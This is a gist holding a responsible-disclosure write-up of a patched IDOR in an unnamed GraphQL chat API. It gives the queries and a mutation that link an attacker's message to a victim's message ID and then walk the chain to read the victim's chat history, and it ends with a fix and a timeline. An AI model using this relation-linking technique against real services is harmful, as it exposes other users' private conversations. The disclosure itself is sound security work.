Skip to content

Instantly share code, notes, and snippets.

@dvnblj
Last active June 27, 2026 17:37
Show Gist options
  • Select an option

  • Save dvnblj/745de127a86b743672ad19945e2878bc to your computer and use it in GitHub Desktop.

Select an option

Save dvnblj/745de127a86b743672ad19945e2878bc to your computer and use it in GitHub Desktop.
The writeup shows a disclosed report on how I was able to have unauthorized chat data access of another user.

Cross-User Message Traversal via Unvalidated GraphQL Relation (IDOR)

Severity: Medium
Category: A01:2021-Broken Access Control
Status: Fixed


What Happened

This application had a chat feature where users send and receive messages with a chat bot. Each message and chat has a unique ID. The API was built on GraphQL, which lets clients request exactly the data they need through structured queries and mutations (mutations being the GraphQL equivalent of write operations).

The application correctly prevented users from directly reading each other's messages. If you tried to fetch someone else's message with a chat bot by ID, you'd get a 404 error. The problem was somewhere else: a field called previousMessage.connect.id.

When creating a new message, the API allowed you to link it to a previous one using this field. The idea is to maintain conversation threading. But the API never checked whether the message you were linking to actually belonged to you. That single missing check is what made everything below possible.


How I Found It

While exploring the API's mutation fields, I noticed messageCreate accepted a previousMessage.connect.id input, a way to attach a new message to an existing one. What caught my attention was that it took a raw ID with no visible ownership check. The natural question was: what happens if you pass someone else's message ID here?


Walkthrough

Two accounts were used: Adam (the attacker) and Eve (the victim).

Step 1. Getting Eve's message ID

Logged in as Eve, fetch her chat ID first:

{ chats { id assistant { id access } } }

Then pull her messages from that chat:

query Q($c: String!) {
  messages(chatId: $c) { id text role userId createdAt }
}

Taking note of any msg_* ID from the response.

Step 2. Confirming Adam can't read Eve's messages directly

Logged in as Adam, attempt a direct lookup using Eve's chat and message ID:

query Q($c: String!, $m: String!) {
  message(chatId: $c, messageId: $m) { id text }
}

Result: 404 access denied. The direct read path is protected, as expected.

Step 3. Creating the link

Still as Adam, create a new message in his own chat with the chat bot but point previousMessage at Eve's message:

mutation M($c: String, $i: MessageCreateInput!) {
  messageCreate(chatId: $c, input: $i) { id chatId }
}
{
  "c": "<Adam's chat ID>",
  "i": {
    "text": "x",
    "role": "USER",
    "previousMessage": { "connect": { "id": "<Eve's message ID>" } }
  }
}

The API accepted it without complaint and returned a new message ID. At this point, a database-level link between Adam's message and Eve's message now exists with no ownership check in the way.

Step 4. Reading Eve's chat history

Using the newly created message as a starting point, Adam can now walk back through the previousMessage chain and read Eve's entire conversation:

query Q($c: String!, $m: String!) {
  message(chatId: $c, messageId: $m) {
    previousMessage {
      id text chatId userId role createdAt
      previousMessage {
        id text chatId userId role
        previousMessage {
          id text chatId userId role
          previousMessage { id text chatId userId role }
        }
      }
    }
  }
}

Result: 200 OK Eve's message content, user ID, role, and timestamps are returned in full. The read is accepted because Adam's own message is the entry point, and the API trusts anything reachable from it.


Why This Worked

The application enforced authorization at the read level but not at the write level. Blocking a direct fetch of someone else's message is not enough if an attacker can quietly create a link to that message first and then read it indirectly. The two paths need to be protected consistently.


Impact

Any authenticated user who could obtain a valid foreign message ID through, enumeration, or prior knowledge could read another user's full chat history. Chat messages can contain sensitive personal, professional, or confidential information.


Fix

Before allowing previousMessage.connect.id to be used in a mutation, the API should verify that the referenced message belongs to the requesting user or to a chat they are authorized to access. Authorization cannot live only on the read path, it must also cover anything that creates relationships between resources.


Timeline

Date Event
15 Apr 2026 Reported
20 Apr 2026 Vendor confirmed
25 Apr 2026 Patched
27 Jun 2026 Publicly disclosed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment